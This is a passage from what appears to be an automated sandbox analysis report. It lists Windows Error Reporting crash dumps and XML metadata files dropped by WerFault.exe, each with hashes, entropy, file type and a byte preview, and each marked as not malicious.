.F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.0.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD630.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4619
Entropy (8bit):	4.503110704492799
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZiJg77aI9PsWpW8VY+Ym8M4JHCFAAY3+q8FevkiPJq05d:uIjfZwI7VF7VqJTtmiM05d
MD5:	52D4DA91F4F61B442C22EAF339313511
SHA1:	48BC2C98C3DB1F17DFE51D402987EE4632BFFE23
SHA-256:	2214D20342EC0FAFAC01299BD9E728C9E2AC35CBB22F502F686697D62BAE7D8E
SHA-512:	B4CBA8EEB9006A6E495F412263E8931A1C7EB9F4D5C084CD9307A4090DFA191A7C3295998A10008771B98960D9C8D7E01B27FF859D6C8BA9B5CF635AC15754DD
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287067" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD822.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 17:24:54 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	72678
Entropy (8bit):	2.0091410133713747
Encrypted:	false
SSDEEP:	384:s86PpuimjzJzImBPiFJeXoWcmu1ed5BtXBlsO7:s86hu5zJ/iFJeXNB2O
MD5:	5F6496BE0310A768E7ADDE48C7EC509A
SHA1:	CC04A0E5AF60BF6BDD247F11E056B3769023C165
SHA-256:	31AB2E45156639D0C6FF816E27FB1F76B110C48F917F41E77FF2571CFEA236F0
SHA-512:	A61E26505DE9368E6063065EFE653E08001842A4931DEDD7957167A470DFBEB0305DB8D96DB9D1AB0C9904CE87BE3B4C13E1F4082F5C37AFFF9E6F971BF7A06E
Malicious:	false
Preview:	MDMP..a..... ........"f............T...........\...\.......T....3..........T.......8...........T...........(...........................................................................................................eJ......<.......GenuineIntel............T.......@...."f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD8AF.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8362
Entropy (8bit):	3.7031714881939073
Encrypted:	false
SSDEEP:	192:R6l7wVeJMoA6I9y6YEISSUjTvgmf5/2jCpBP89bLusfbZm:R6lXJM/6I9y6YEdSUjTvgmf5oLtfI
MD5:	E902A72C8354DC6C23E07085DA0A31B6
SHA1:	E24F74A4E004FF24D3EA637B1DCA8E8AE8F4EFA0
SHA-256:	079E48498521CD3462EBEC3087B85FA8E92936E6B3290DF17F629FAD0036AD33
SHA-512:	14BF3A7CA5A656AAD2EE0B9894E9D702DE852CDCCD7D79E1EC30BFF58989C40343F010641D138B47B64A3D4B89DDB38C7948BF78D6C189F08298A4ECCBEC1B4D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.0.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD8DF.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4619
Entropy (8bit):	4.502622269202652
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZiJg77aI9PsWpW8VYgYm8M4JHCFC+q8FevkiPJq05d:uIjfZwI7VF7VMJ9miM05d
MD5:	A76BEFC086665DF11EC93AA239A50142
SHA1:	3E90615E5D5A2A55811877EEB1B66A715306312F
SHA-256:	570D79EB317EBECA0E05286983AC3B48E0D8357074161DE17A92520590623724
SHA-512:	22032190DCD0C02BE9AD1571EA927A563A1EA6877B73E273B9FF1BA379DF3F4A84B5032B6CA56006164669EC5594F2C39ACB6D66338878421EF55B7962ACCADD
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287067" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDAF0.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 17:24:55 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	72254
Entropy (8bit):	2.021821672168551
Encrypted:	false
SSDEEP:	384:+PpuPh8zCdzIaBK6UjAxW+mu1ed5pMuAfGziE:+huPuz2zCbpMqj
MD5:	7BB22D5DDBCFD900F4E7D43C02F7BCD2
SHA1:	519315CB1273CB38E864ABBB9047A9678FFFA746
SHA-256:	D34AA65AB0487381AA1CE8415649B739330F8A3BA22007DF517B886B3D29E135
SHA-512:	079B919C9820431207EE791E38BAA80C00F87278FA17607CAA34CC99A2E10E6B103682D6003B62B794B6660DD34F9A53AD1B30909B0AC6B68145BF9C0EA975CC
Malicious:	false
Preview:	MDMP..a..... ........"f............T...........\...\.......d....3..........T.......8...........T...........(...........................................................................................................eJ......<.......GenuineIntel............T.......@...."f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB5F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8362
Entropy (8bit):	3.704665867064762
Encrypted:	false
SSDEEP:	192:R6l7wVeJMoz6I9bB6YEIPSUjTvgmf5/2jCpBP89bCusfTWm:R6lXJMM6I9N6YEgSUjTvgmf5oCtfL
MD5:	2954FAB85B549B85253B6565ECA5B9F6
SHA1:	715266CB4686608434C0CAB96CC8F771340D8295
SHA-256:	E55933C8ADBA7EDE5BCC51646C520AD22FCADD16337AC9F392FD13398D19F412
SHA-512:	E3FE5713389500D7D18AAF9AABBC1CC766464651D626856F1FCF4030E2BF9FE6094E42912CD768B2DFA23B557DC578BB5BD4C925D239DE3EA6805E7C615D4239
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.0.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB8F.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4619
Entropy (8bit):	4.501212303698218
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZiJg77aI9PsWpW8VYR5Ym8M4JHCF6+q8FevkiPJq05d:uIjfZwI7VF7VyoJFmiM05d
MD5:	A2F713F7064DBDC8C9161240DA825ECB
SHA1:	3E2B8E2EAEF129E0E2CFE39C018916C375ED3560
SHA-256:	983EF7243D384BFC5C07AB09824243CF1644CDDC02BC1B5E61EA801C93B74D36
SHA-512:	78E13D1E42638051CAA2BF395D8FFF59EA3237D44D3E189A86DB07F25AE947E9200E410375195854EFB3EB5A8CAC5EDABBA8EB8E4B369BA8B776512E5B2937C4
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287067" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDE1D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 17:24:55 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	79298
Entropy (8bit):	1.9906848721678903
Encrypted:	false
SSDEEP:	384:XKSGUH3zoxjXclzIzcKvAxWXd5UcXCA5XeLbcnZs:PrH3z6c+RUUXSMK
MD5:	0D9BFD0F423F95471B63867F78EE793E
SHA1:	4745AE2654989C7AAF753EABBA7922B910686E92
SHA-256:	95BA2BF6E9CF938EC4326540D4ECCCC7C874471BE554224D15CFC92DE882B04D
SHA-512:	68B3E1A8D99C09DFCED5D37E36669866DD84E6564F423A2563B8BBE87E1C99926A670F96B17CED4A2A8012B6B341E8A8AB4F767E3348F84FBE8E2FC705BB5EDC
Malicious:	false
Preview:	MDMP..a..... ........"f........................4................7..........T.......8...........T............&..........................................................................................................eJ......D.......GenuineIntel............T.......@...."f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDED9.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8362
Entropy (8bit):	3.704372588961267
Encrypted:	false
SSDEEP:	192:R6l7wVeJMoC6IV1W6YEIcSUjUKgmf5/2jCpBO89bCusf0LvWm:R6lXJM96IVU6YETSUjUKgmf5vCtfQn
MD5:	A85C64EFDDC148F75F2756E4DE87A769
SHA1:	03BF0F5F038EA5B3AC94E7DA3EDBE3C713D05EC1
SHA-256:	B33AB4EFA82A46785E9FF6BB58D3D306483412FE81879EC9AF75624FBF9AF7B1
SHA-512:	F2C6AE26C7D3A9668ED1FF42BBE8D83FA29A2CB358813898C0B1F12BF07086F26EFFA3B1ECBC72C87E21E2AD1B98B2B7056F1BE27BB1AC6F0C954DA6A7D737AB
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.0.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDF09.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4619
Entropy (8bit):	4.502605790473535
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZiJg77aI9PsWpW8VYmYm8M4JHCFhjm+q8FevkiPJq05d:uIjfZwI7VF7VuJDmiM05d
MD5:	2B4AA486B35ADB5169D87195CB33E57C
SHA1:	3F2B7E96C6E0311C18C2EB9BC1302D1FD8D56258
SHA-256:	35BD2A10424770E791FA7F490248294655CAB1CD278E1EB4C5EC8A5DDFDA9E68
SHA-512:	11B57F786A89D2E767ECD72F6D5280B79EE10EDD1A9A04E1F283FE75430C0C6FD0600F51C0DCB10901B7002186C817D65294A2991603B338F5E904999B5522B0
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287067" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE10B.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 17:24:56 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	87908
Entropy (8bit):	1.9859431793581646
Encrypted:	false
SSDEEP:	384:qwofETxzvLKNRY+zI/cKo34A78YWed5Uc/QC/Wm3Jk/hDyk:do8TxzDd+LoY8gUgW1JDy
MD5:	195028604EFD363426763E0687E2CE0C
SHA1:	6515929D51E34D24D80C2080C42A692A0DECD369
SHA-256:	0220C37D653F95C47FD9C541572943692610C1A2816D0833B73FC16A3B20AF8D
SHA-512:	8CE68E7B649FB0B0B6344AAA5E9FAED0FDE0B7E0492241B753AA6EE888E77C4CE1E524D327718872D5FA689E4AD31F8B6CC5A902EFC1ED405CF48A4504CEC371
Malicious:	false
Preview:	MDMP..a..... ........"f........................4................:..........T.......8...........T........... '..D0......................................................................................................eJ......t.......GenuineIntel............T.......@...."f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE1A8.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8362
Entropy (8bit):	3.7046363738620007
Encrypted:	false
SSDEEP:	192:R6l7wVeJMo46I6+6YEIuSUjUKgmf5/2jCpBG89bZusf93zm:R6lXJMH6I6+6YExSUjUKgmf5HZtf8
MD5:	4E9EFE41AAB8EE1004FAE521A85FEC25
SHA1:	E149550A4ADA4CD137907FCD9EA684437C640FBF
SHA-256:	C9FE288DBCCB5919D35E70B384AAF364217EC754989F65713865CF8271D595AD
SHA-512:	01F6FB3E16B5200F833ABA06DDEC685438FA58DE458338F8965D058C95877D24D4498C39240AE6E70148EFAC8ECADEB062F035CCDA1E6E0169E84F98BEE950E2
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.0.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE1D8.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4619
Entropy (8bit):	4.497317581305158
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZiJg77aI9PsWpW8VYeYm8M4JHCFn+q8FevkiPJq05d:uIjfZwI7VF7VmJomiM05d
MD5:	DCD1355512908AF715B305CCD29C705F
SHA1:	3036AD06C1B3BE64EF56F95750EE3C900B6E34C1
SHA-256:	170E56BB0DFC7BF82890C6384A42D6DEFEC3B3AFD9EB0B1F2B358CE56A660622
SHA-512:	A39775A78D4BFA32DF2D0F51E356D5F0E7DB797956D53554CF29DC3901B3BEF0940A6CA267E5F72B4150358ADDED8B72C54C0797AE7B231AFD3E223E30A48107
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287067" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREB0D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 17:24:59 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	102728
Entropy (8bit):	2.16637673452389
Encrypted:	false
SSDEEP:	384:PiFz3khz+JL5zp1Wu0GiLlWz+KYc5BTusd5s7cicvn1PimPAS:6p3khz+HeG6e+KYc5BTuUs7mn1dP/
MD5:	F622C1B70277F7218725E2BE2F5DE74D
SHA1:	339A7D8A75DEA1519D70B9E4628AB6CD2434F10E
SHA-256:	D972614966A1E4A080CDAE4AAE783EE0ABA6C0B6A68F5780C2817C5C1FCDFC1D
SHA-512:	46183A8CE0CB544B3FD66DEA0C9E1698EB212A81D01EE703B57D52EC67BCAE24EF77964255102A4B6EB2DC9B3063590A205E0E5224C095E9FE727EA5357B5586
Malicious:	false
Preview:	MDMP..a..... ........"f........................D................D..........T.......8...........T............5..@\..........0...........................................................................................eJ..............GenuineIntel............T.......@...."f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREB9B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8362
Entropy (8bit):	3.704860596510725
Encrypted:	false
SSDEEP:	192:R6l7wVeJMoQ6i6YEIMSUyNVgmf5/2jCpB089beusfYsKm:R6lXJMP6i6YEjSUyNVgmf5petfYA
MD5:	8AECA3F7840329A4AF7C00CABD9C15AA
SHA1:	01CA291559D97F21B2E859D1B48095AB1F460354
SHA-256:	B0D6A3B389F7FAEDDDDE570F372893BE13B0F0D6E213DF503D2EE3DB6E47D5D7
SHA-512:	B28311366D08ADFE94C26ABDF64DC0E70937F52D5BDCD6A012AB0E3E868D3F26742223FE8782CAC50CF10CA35CB51CF1AC1B683C780921A7D91596272382730D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.0.8.8.<./.P.i.

